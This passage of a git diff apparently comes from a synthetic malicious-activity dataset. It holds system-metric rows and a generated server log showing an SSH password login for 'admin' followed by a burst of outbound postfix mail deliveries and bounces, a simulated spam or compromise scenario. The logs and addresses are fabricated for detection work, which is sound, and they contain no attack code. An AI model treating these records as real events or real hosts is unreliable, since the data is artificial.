+2025-08-08T15:21:50Z,65.15,49.04,25.82,1.34,24.42 +2025-08-08T15:21:55Z,31.87,47.46,26.25,1.57,22.62 +2025-08-08T15:22:00Z,24.35,47.64,29.02,1.28,41.66 +2025-08-08T15:22:05Z,32.06,44.04,27.31,1.02,43.39 +2025-08-08T15:22:10Z,60.1,41.1,22.91,0.83,26.88 +2025-08-08T15:22:15Z,67.25,42.78,20.45,1.68,42.94 +2025-08-08T15:22:20Z,41.93,44.62,26.4,0.95,37.44 +2025-08-08T15:22:25Z,40.84,42.95,26.96,1.28,26.91 +2025-08-08T15:22:30Z,25.25,44.91,23.07,1.34,34.05 +2025-08-08T15:22:35Z,72.49,48.89,24.74,0.55,32.39 +2025-08-08T15:22:40Z,30.38,42.79,18.16,1.65,45.82 +2025-08-08T15:22:45Z,55.22,41.49,25.72,1.76,43.15 +2025-08-08T15:22:50Z,44.8,48.67,25.82,1.95,40.38 +2025-08-08T15:22:55Z,74.78,46.66,20.61,1.74,24.04 +2025-08-08T15:23:00Z,36.23,48.7,24.88,1.34,49.38 +2025-08-08T15:23:05Z,41.67,44.38,18.64,0.55,38.52 +2025-08-08T15:23:10Z,66.85,47.59,20.98,1.73,30.33 +2025-08-08T15:23:15Z,42.15,45.48,25.43,1.74,27.59 +2025-08-08T15:23:20Z,53.02,46.68,19.15,1.69,43.76 +2025-08-08T15:23:25Z,64.9,43.84,29.14,0.81,35.0 +2025-08-08T15:23:30Z,55.64,45.45,26.12,1.12,25.92 +2025-08-08T15:23:35Z,28.57,41.86,29.82,0.9,42.49 +2025-08-08T15:23:40Z,41.67,46.14,20.6,0.8,37.98 +2025-08-08T15:23:45Z,71.22,41.23,20.26,0.72,28.84 +2025-08-08T15:23:50Z,68.83,47.3,28.64,1.32,41.01 +2025-08-08T15:23:55Z,21.48,43.0,22.92,1.16,46.17 +2025-08-08T15:24:00Z,45.84,42.55,25.55,1.76,41.84 +2025-08-08T15:24:05Z,41.03,41.39,20.28,1.48,38.41 +2025-08-08T15:24:10Z,65.66,49.94,29.85,1.8,42.19 +2025-08-08T15:24:15Z,58.46,45.93,25.03,1.3,38.21 +2025-08-08T15:24:20Z,44.98,45.16,28.1,1.04,29.81 +2025-08-08T15:24:25Z,74.04,42.76,29.95,1.85,33.47 +2025-08-08T15:24:30Z,41.91,46.65,19.96,1.03,24.9 +2025-08-08T15:24:35Z,60.47,42.83,20.73,1.25,39.74 +2025-08-08T15:24:40Z,50.85,47.45,19.62,0.95,22.95 +2025-08-08T15:24:45Z,70.45,49.56,20.34,1.86,41.29 +2025-08-08T15:24:50Z,51.18,49.01,23.74,1.76,31.42 +2025-08-08T15:24:55Z,42.77,45.13,19.87,0.61,48.68 +2025-08-08T15:25:00Z,71.74,43.6,29.06,1.41,26.61 +2025-08-08T15:25:05Z,70.66,45.77,20.36,1.23,44.97 +2025-08-08T15:25:10Z,44.8,41.43,24.9,0.65,34.23 +2025-08-08T15:25:15Z,26.06,44.57,24.17,1.9,29.54 +2025-08-08T15:25:20Z,68.62,47.13,23.5,0.99,40.97 +2025-08-08T15:25:25Z,28.83,48.1,23.24,1.8,45.96 +2025-08-08T15:25:30Z,60.45,42.81,21.15,0.99,43.69 +2025-08-08T15:25:35Z,22.98,49.06,23.28,0.93,36.52 +2025-08-08T15:25:40Z,43.76,44.97,27.81,1.77,29.7 +2025-08-08T15:25:45Z,67.01,43.33,27.96,1.4,45.67 +2025-08-08T15:25:50Z,47.95,47.37,24.76,1.84,24.61 +2025-08-08T15:25:55Z,63.58,48.04,26.66,0.59,38.22 +2025-08-08T15:26:00Z,21.63,46.75,21.91,1.41,45.36 +2025-08-08T15:26:05Z,43.95,41.96,21.93,1.4,26.24 +2025-08-08T15:26:10Z,66.32,46.01,19.41,0.76,34.63 +2025-08-08T15:26:15Z,50.21,45.28,29.1,0.72,24.64 +2025-08-08T15:26:20Z,29.59,45.98,18.91,1.38,45.0 +2025-08-08T15:26:25Z,54.6,45.7,28.36,1.18,29.62 diff --git a/mali_dataset/scenario_5/mali_5_4.log b/mali_dataset/scenario_5/mali_5_4.log new file mode 100644 index 0000000000000000000000000000000000000000..27f61463b23c5e828fe9ec13209e854d2d14f4dc --- /dev/null +++ b/mali_dataset/scenario_5/mali_5_4.log @@ -0,0 +1,250 @@ +Aug 08 15:19:05 server systemd[1]: Starting Daily apt upgrade and clean activities... +Aug 08 15:19:15 server sshd[8244]: Accepted password for user admin from 247.105.127.13 port 48204 ssh2 +Aug 08 15:19:40 server CRON[9114]: (root) CMD ( cd / && run-parts --report /etc/cron.hourly) +Aug 08 15:20:40 server postfix/smtp[16985]: 8DAE02C6D1: to=, from=, relay=aspmx.l.google.com[211.155.223.157]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 15:20:40 server postfix/smtp[16988]: EA1AF5CC86: to=, from=, relay=aspmx.l.google.com[105.115.162.62]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 15:20:43 server postfix/smtp[16986]: F8722FEABC: to=, from=, relay=business.biz[191.144.210.239]:25, delay=0.5, dsn=5.1.1, status=bounced (550 5.4.1 Recipient address rejected: Access denied) +Aug 08 15:20:43 server postfix/smtp[16989]: 60E0B1E491: to=, from=, relay=aspmx.l.google.com[101.163.64.135]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 15:20:44 server postfix/smtp[16987]: A8AC2F69EB: to=, from=, relay=aspmx.l.google.com[203.129.76.93]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 15:20:45 server postfix/smtp[16990]: A2F484FD83: to=, from=, relay=business.biz[26.156.38.47]:25, delay=0.5, dsn=5.1.1, status=bounced (550 5.1.1 User unknown) +Aug 08 15:20:47 server postfix/smtp[16991]: 6692B47566: to=, from=, relay=aspmx.l.google.com[238.175.186.170]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 15:20:50 server postfix/smtp[16992]: 0B72374417: to=, from=, relay=user-mail.info[79.87.173.49]:25, delay=0.5, dsn=5.1.1, status=bounced (550 5.1.1 User unknown) +Aug 08 15:20:52 server postfix/smtp[16993]: 34C05348FF: to=, from=, relay=aspmx.l.google.com[43.122.204.111]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 15:20:52 server postfix/smtp[16994]: 6DDF85D0D7: to=, from=, relay=aspmx.l.google.com[117.178.162.116]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 15:20:55 server postfix/smtp[16995]: E0A925BDB8: to=, from=, relay=business.biz[222.237.39.111]:25, delay=0.5, dsn=5.1.1, status=bounced (550 5.1.1 User unknown) +Aug 08 15:20:56 server postfix/smtp[16996]: 4BD4476937: to=, from=, relay=aspmx.l.google.com[127.242.107.184]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 15:20:57 server postfix/smtp[16997]: B2AFF0B382: to=, from=, relay=aspmx.l.google.com[112.61.239.233]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 15:20:58 server postfix/smtp[16998]: 19DB37734B: to=, from=, relay=web-host.org[129.199.186.203]:25, delay=0.5, dsn=5.1.1, status=bounced (550 5.4.1 Recipient address rejected: Access denied) +Aug 08 15:20:58 server postfix/smtp[16999]: 54526E2717: to=, from=, relay=aspmx.l.google.com[20.173.90.50]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 15:21:02 server postfix/smtp[17001]: AACF5261C2: to=, from=, relay=aspmx.l.google.com[118.65.189.226]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 15:21:03 server postfix/smtp[17000]: 0DBC7D6B65: to=, from=, relay=aspmx.l.google.com[81.87.139.133]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 15:21:03 server postfix/smtp[17002]: E649C404DE: to=, from=, relay=aspmx.l.google.com[161.235.135.140]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 15:21:07 server postfix/smtp[17003]: 48BC8F16CB: to=, from=, relay=aspmx.l.google.com[45.132.168.29]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 15:21:08 server postfix/smtp[17004]: E13A911430: to=, from=, relay=aspmx.l.google.com[147.177.152.83]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 15:21:14 server postfix/smtp[17005]: FF5FFA389A: to=, from=, relay=aspmx.l.google.com[250.61.156.80]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 15:21:14 server postfix/smtp[17006]: A271E2559D: to=, from=, relay=aspmx.l.google.com[220.3.124.2]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 15:21:18 server postfix/smtp[17007]: E5A43D645C: to=, from=, relay=business.biz[219.102.128.159]:25, delay=0.5, dsn=5.1.1, status=bounced (550 5.4.1 Recipient address rejected: Access denied) +Aug 08 15:21:18 server postfix/smtp[17008]: 261797F569: to=, from=, relay=aspmx.l.google.com[90.185.82.248]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 15:21:21 server postfix/smtp[17010]: 51E3C16019: to=, from=, relay=user-mail.info[136.31.6.254]:25, delay=0.5, dsn=5.1.1, status=bounced (550 5.4.1 Recipient address rejected: Access denied) +Aug 08 15:21:21 server postfix/smtp[17011]: 5059FF18D4: to=, from=, relay=aspmx.l.google.com[64.43.97.131]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 15:21:22 server postfix/smtp[17012]: C4D0F1DC12: to=, from=, relay=aspmx.l.google.com[140.158.32.151]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 15:21:23 server postfix/smtp[17009]: 08F87EBAE7: to=, from=, relay=web-host.org[90.70.210.105]:25, delay=0.5, dsn=5.1.1, status=bounced (550 5.1.1 User unknown) +Aug 08 15:21:25 server postfix/smtp[17016]: 7AC0A8224A: to=, from=, relay=aspmx.l.google.com[106.214.205.175]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 15:21:25 server postfix/smtp[17017]: DB8AE5EE01: to=, from=, relay=aspmx.l.google.com[106.110.87.20]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 15:21:26 server postfix/smtp[17013]: 79962AD47E: to=, from=, relay=aspmx.l.google.com[8.160.202.171]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 15:21:28 server postfix/smtp[17015]: 8B722A6106: to=, from=, relay=aspmx.l.google.com[161.57.225.191]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 15:21:29 server postfix/smtp[17014]: 078106DC21: to=, from=, relay=aspmx.l.google.com[122.155.179.162]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 15:21:30 server postfix/smtp[17018]: 9DB9F29E85: to=, from=, relay=aspmx.l.google.com[149.238.103.140]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 15:21:34 server postfix/smtp[17019]: 8D44BC7489: to=, from=, relay=aspmx.l.google.com[169.7.80.180]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 15:21:36 server postfix/smtp[17020]: 7A60F5DEB5: to=, from=, relay=aspmx.l.google.com[107.176.150.172]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 15:21:36 server postfix/smtp[17021]: 91855A97D3: to=, from=, relay=user-mail.info[100.159.102.111]:25, delay=0.5, dsn=5.1.1, status=bounced (554 5.7.1 Service unavailable; Client host blocked) +Aug 08 15:21:40 server postfix/smtp[17025]: 2CC4E00A16: to=, from=, relay=aspmx.l.google.com[222.248.81.131]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 15:21:43 server postfix/smtp[17022]: 2BDFDD2DEA: to=, from=, relay=aspmx.l.google.com[184.227.145.136]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 15:21:43 server postfix/smtp[17023]: F3ABAF99D5: to=, from=, relay=aspmx.l.google.com[247.210.90.87]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 15:21:44 server postfix/smtp[17024]: EF7598E14C: to=, from=, relay=user-mail.info[119.158.134.154]:25, delay=0.5, dsn=5.1.1, status=bounced (550 5.4.1 Recipient address rejected: Access denied) +Aug 08 15:21:46 server postfix/smtp[17029]: 403F51574A: to=, from=, relay=business.biz[99.244.153.102]:25, delay=0.5, dsn=5.1.1, status=bounced (550 5.4.1 Recipient address rejected: Access denied) +Aug 08 15:21:47 server postfix/smtp[17026]: 622036C03E: to=, from=, relay=aspmx.l.google.com[77.120.78.128]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 15:21:49 server postfix/smtp[17027]: 3D47AB8A55: to=, from=, relay=aspmx.l.google.com[29.134.60.229]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 15:21:49 server postfix/smtp[17028]: 234D115144: to=, from=, relay=aspmx.l.google.com[239.210.162.91]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 15:21:50 server postfix/smtp[17031]: 9D5AFE580D: to=, from=, relay=aspmx.l.google.com[247.102.35.173]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 15:21:50 server postfix/smtp[17034]: 4E3D884DC5: to=, from=, relay=aspmx.l.google.com[110.29.144.94]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 15:21:52 server postfix/smtp[17033]: 55519A7026: to=, from=, relay=web-host.org[179.73.68.135]:25, delay=0.5, dsn=5.1.1, status=bounced (554 5.7.1 Service unavailable; Client host blocked) +Aug 08 15:21:54 server postfix/smtp[17030]: 6BA60B7E93: to=, from=, relay=aspmx.l.google.com[95.140.40.166]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 15:21:54 server postfix/smtp[17032]: EE44033303: to=, from=, relay=aspmx.l.google.com[53.90.130.28]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 15:21:56 server postfix/smtp[17036]: F6EBBE9ADE: to=, from=, relay=aspmx.l.google.com[204.182.121.217]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 15:21:57 server postfix/smtp[17035]: 17D859C3C1: to=, from=, relay=business.biz[137.66.107.164]:25, delay=0.5, dsn=5.1.1, status=bounced (554 5.7.1 Service unavailable; Client host blocked) +Aug 08 15:21:59 server postfix/smtp[17037]: 2A2489305D: to=, from=, relay=aspmx.l.google.com[201.233.150.50]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 15:22:00 server postfix/smtp[17038]: D8463348A8: to=, from=, relay=aspmx.l.google.com[89.103.156.7]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 15:22:00 server postfix/smtp[17040]: 5AC02D6809: to=, from=, relay=example.com[153.138.95.91]:25, delay=0.5, dsn=5.1.1, status=bounced (550 5.1.1 User unknown) +Aug 08 15:22:00 server postfix/smtp[17042]: 4FAA31306D: to=, from=, relay=aspmx.l.google.com[168.25.131.65]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 15:22:01 server postfix/smtp[17041]: 17D2C3AE0D: to=, from=, relay=mailservice.net[52.137.159.36]:25, delay=0.5, dsn=5.1.1, status=bounced (550 5.4.1 Recipient address rejected: Access denied) +Aug 08 15:22:03 server postfix/smtp[17039]: B61198C0B1: to=, from=, relay=aspmx.l.google.com[129.20.76.82]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 15:22:08 server postfix/smtp[17044]: ED34D1FD84: to=, from=, relay=aspmx.l.google.com[71.200.115.184]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 15:22:09 server postfix/smtp[17043]: BCD8BEF5C8: to=, from=, relay=aspmx.l.google.com[128.127.140.225]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 15:22:11 server postfix/smtp[17048]: 38C4A413F7: to=, from=, relay=aspmx.l.google.com[94.235.102.87]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 15:22:13 server postfix/smtp[17047]: A5721B7920: to=, from=, relay=user-mail.info[196.119.60.171]:25, delay=0.5, dsn=5.1.1, status=bounced (550 5.1.1 User unknown) +Aug 08 15:22:14 server postfix/smtp[17045]: 089E9BB6D9: to=, from=, relay=aspmx.l.google.com[207.55.141.20]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 15:22:14 server postfix/smtp[17046]: 1EBB7B15B6: to=, from=, relay=aspmx.l.google.com[13.49.55.90]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 15:22:16 server postfix/smtp[17049]: 5D944C1968: to=, from=, relay=aspmx.l.google.com[135.150.139.86]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 15:22:17 server postfix/smtp[17053]: D4FB5FA2B9: to=, from=, relay=aspmx.l.google.com[237.86.128.197]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 15:22:18 server postfix/smtp[17051]: 5B09B4ECD3: to=, from=, relay=aspmx.l.google.com[133.191.169.171]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 15:22:18 server postfix/smtp[17052]: 908EF63338: to=, from=, relay=aspmx.l.google.com[63.206.106.151]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 15:22:19 server postfix/smtp[17050]: 620BBBDBC8: to=, from=, relay=aspmx.l.google.com[50.14.47.48]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 15:22:20 server postfix/smtp[17056]: CE498D9BBB: to=, from=, relay=aspmx.l.google.com[49.184.117.136]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 15:22:22 server postfix/smtp[17054]: EB211BD922: to=, from=, relay=web-host.org[233.151.141.122]:25, delay=0.5, dsn=5.1.1, status=bounced (554 5.7.1 Service unavailable; Client host blocked) +Aug 08 15:22:23 server postfix/smtp[17055]: 4971CB67DB: to=, from=, relay=business.biz[243.16.148.139]:25, delay=0.5, dsn=5.1.1, status=bounced (550 5.1.1 User unknown) +Aug 08 15:22:23 server postfix/smtp[17058]: 3DAC768766: to=, from=, relay=aspmx.l.google.com[179.8.146.59]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 15:22:24 server postfix/smtp[17057]: 97B0EDBFFA: to=, from=, relay=aspmx.l.google.com[19.223.245.125]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 15:22:25 server postfix/smtp[17059]: 1371324837: to=, from=, relay=aspmx.l.google.com[115.70.183.166]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 15:22:26 server postfix/smtp[17060]: 471C7DFFE6: to=, from=, relay=aspmx.l.google.com[109.61.79.178]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 15:22:26 server postfix/smtp[17061]: 0E3E344813: to=, from=, relay=aspmx.l.google.com[146.246.61.92]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 15:22:27 server postfix/smtp[17063]: 74944721CE: to=, from=, relay=aspmx.l.google.com[54.112.229.135]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 15:22:28 server postfix/smtp[17062]: B27DC2FDB0: to=, from=, relay=web-host.org[226.151.166.107]:25, delay=0.5, dsn=5.1.1, status=bounced (554 5.7.1 Service unavailable; Client host blocked) +Aug 08 15:22:30 server postfix/smtp[17067]: 46C8EC9499: to=, from=, relay=aspmx.l.google.com[185.168.151.71]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 15:22:31 server postfix/smtp[17064]: C940CD2FB6: to=, from=, relay=aspmx.l.google.com[170.115.133.216]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 15:22:32 server postfix/smtp[17066]: 90B4A2DB5C: to=, from=, relay=web-host.org[190.200.136.62]:25, delay=0.5, dsn=5.1.1, status=bounced (550 5.4.1 Recipient address rejected: Access denied) +Aug 08 15:22:34 server postfix/smtp[17065]: 6123AA5D6C: to=, from=, relay=aspmx.l.google.com[181.124.252.26]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 15:22:35 server postfix/smtp[17068]: 3DA4114B30: to=, from=, relay=business.biz[54.226.139.238]:25, delay=0.5, dsn=5.1.1, status=bounced (554 5.7.1 Service unavailable; Client host blocked) +Aug 08 15:22:37 server postfix/smtp[17069]: 97F26F5021: to=, from=, relay=example.com[92.136.251.141]:25, delay=0.5, dsn=5.1.1, status=bounced (554 5.7.1 Service unavailable; Client host blocked) +Aug 08 15:22:43 server postfix/smtp[17070]: 0BD56911DB: to=, from=, relay=aspmx.l.google.com[13.114.99.202]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 15:22:44 server postfix/smtp[17071]: 4762F7AB61: to=, from=, relay=business.biz[47.224.8.78]:25, delay=0.5, dsn=5.1.1, status=bounced (554 5.7.1 Service unavailable; Client host blocked) +Aug 08 15:22:47 server postfix/smtp[17073]: D70468B2DD: to=, from=, relay=aspmx.l.google.com[52.140.125.65]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 15:22:49 server postfix/smtp[17072]: 1FF1085DC5: to=, from=, relay=aspmx.l.google.com[48.206.107.209]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 15:22:50 server postfix/smtp[17074]: 9F61FFBAA1: to=, from=, relay=aspmx.l.google.com[122.107.125.84]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 15:22:52 server postfix/smtp[17076]: 4F037D263A: to=, from=, relay=aspmx.l.google.com[188.135.92.43]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 15:22:52 server postfix/smtp[17078]: 2C2EA6000E: to=, from=, relay=business.biz[115.189.246.20]:25, delay=0.5, dsn=5.1.1, status=bounced (550 5.4.1 Recipient address rejected: Access denied) +Aug 08 15:22:53 server postfix/smtp[17075]: A2AB0F7A19: to=, from=, relay=web-host.org[153.185.147.254]:25, delay=0.5, dsn=5.1.1, status=bounced (550 5.4.1 Recipient address rejected: Access denied) +Aug 08 15:22:53 server postfix/smtp[17077]: 94A14A51FA: to=, from=, relay=aspmx.l.google.com[112.208.143.82]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 15:22:58 server postfix/smtp[17079]: CB4C480316: to=, from=, relay=mailservice.net[12.61.148.119]:25, delay=0.5, dsn=5.1.1, status=bounced (550 5.4.1 Recipient address rejected: Access denied) +Aug 08 15:22:59 server postfix/smtp[17080]: DE61D54F7D: to=, from=, relay=user-mail.info[79.99.42.36]:25, delay=0.5, dsn=5.1.1, status=bounced (550 5.1.1 User unknown) +Aug 08 15:23:01 server postfix/smtp[17081]: A0ADDD4EE8: to=, from=, relay=aspmx.l.google.com[120.183.56.33]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 15:23:02 server postfix/smtp[17082]: ADAF597784: to=, from=, relay=aspmx.l.google.com[20.122.31.213]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 15:23:05 server postfix/smtp[17084]: E1F2B245DE: to=, from=, relay=aspmx.l.google.com[201.244.172.27]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 15:23:06 server postfix/smtp[17083]: 5D16EEB98E: to=, from=, relay=web-host.org[169.70.240.242]:25, delay=0.5, dsn=5.1.1, status=bounced (550 5.4.1 Recipient address rejected: Access denied) +Aug 08 15:23:13 server postfix/smtp[17085]: 6A7F0CF2BE: to=, from=, relay=aspmx.l.google.com[125.116.171.12]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 15:23:13 server postfix/smtp[17086]: 55D1395C05: to=, from=, relay=business.biz[85.52.132.123]:25, delay=0.5, dsn=5.1.1, status=bounced (550 5.4.1 Recipient address rejected: Access denied) +Aug 08 15:23:15 server postfix/smtp[17090]: 28D5936D5C: to=, from=, relay=aspmx.l.google.com[227.44.85.245]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 15:23:15 server postfix/smtp[17091]: 0A989D2B23: to=, from=, relay=aspmx.l.google.com[15.171.153.94]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 15:23:16 server postfix/smtp[17088]: 4F86FC703A: to=, from=, relay=aspmx.l.google.com[13.107.48.28]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 15:23:17 server postfix/smtp[17089]: 5810F45D38: to=, from=, relay=aspmx.l.google.com[183.210.228.76]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 15:23:18 server postfix/smtp[17087]: 62E99602F9: to=, from=, relay=web-host.org[253.125.245.2]:25, delay=0.5, dsn=5.1.1, status=bounced (550 5.4.1 Recipient address rejected: Access denied) +Aug 08 15:23:20 server postfix/smtp[17093]: 2C5498B090: to=, from=, relay=aspmx.l.google.com[112.123.132.62]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 15:23:22 server postfix/smtp[17092]: CB7D367325: to=, from=, relay=aspmx.l.google.com[72.71.186.190]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 15:23:25 server postfix/smtp[17094]: 71E2E5FDE3: to=, from=, relay=aspmx.l.google.com[248.28.194.55]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 15:23:27 server postfix/smtp[17095]: EDEBB1A226: to=, from=, relay=aspmx.l.google.com[208.65.186.65]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 15:23:27 server postfix/smtp[17097]: EDBBE046AF: to=, from=, relay=mailservice.net[176.254.187.22]:25, delay=0.5, dsn=5.1.1, status=bounced (550 5.1.1 User unknown) +Aug 08 15:23:28 server postfix/smtp[17098]: BCFA971E70: to=, from=, relay=aspmx.l.google.com[233.100.116.225]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 15:23:29 server postfix/smtp[17096]: A215DBA911: to=, from=, relay=aspmx.l.google.com[222.116.117.201]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 15:23:30 server postfix/smtp[17100]: 4BE53966B9: to=, from=, relay=aspmx.l.google.com[111.124.171.115]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 15:23:33 server postfix/smtp[17099]: 54C84B81E2: to=, from=, relay=aspmx.l.google.com[254.194.194.83]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 15:23:36 server postfix/smtp[17101]: D2C3022CF8: to=, from=, relay=aspmx.l.google.com[70.128.50.128]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 15:23:36 server postfix/smtp[17103]: 94124AF056: to=, from=, relay=web-host.org[74.126.30.237]:25, delay=0.5, dsn=5.1.1, status=bounced (550 5.4.1 Recipient address rejected: Access denied) +Aug 08 15:23:36 server postfix/smtp[17104]: 712E7DA38C: to=, from=, relay=aspmx.l.google.com[95.40.36.78]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 15:23:37 server postfix/smtp[17105]: 1DEB597A4D: to=, from=, relay=web-host.org[176.67.99.201]:25, delay=0.5, dsn=5.1.1, status=bounced (554 5.7.1 Service unavailable; Client host blocked) +Aug 08 15:23:39 server postfix/smtp[17102]: 97724189D8: to=, from=, relay=aspmx.l.google.com[28.41.95.50]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 15:23:41 server postfix/smtp[17107]: 36B704481D: to=, from=, relay=aspmx.l.google.com[234.8.65.54]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 15:23:43 server postfix/smtp[17108]: 616FAF24A5: to=, from=, relay=aspmx.l.google.com[66.210.144.30]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 15:23:44 server postfix/smtp[17106]: 680F143E57: to=, from=, relay=business.biz[87.187.249.162]:25, delay=0.5, dsn=5.1.1, status=bounced (550 5.4.1 Recipient address rejected: Access denied) +Aug 08 15:23:46 server postfix/smtp[17109]: 6ABD86B0C5: to=, from=, relay=aspmx.l.google.com[104.193.186.13]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 15:23:47 server postfix/smtp[17110]: 9BF45A05E6: to=, from=, relay=aspmx.l.google.com[223.224.74.195]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 15:23:47 server postfix/smtp[17111]: 837718C19E: to=, from=, relay=user-mail.info[69.107.50.175]:25, delay=0.5, dsn=5.1.1, status=bounced (550 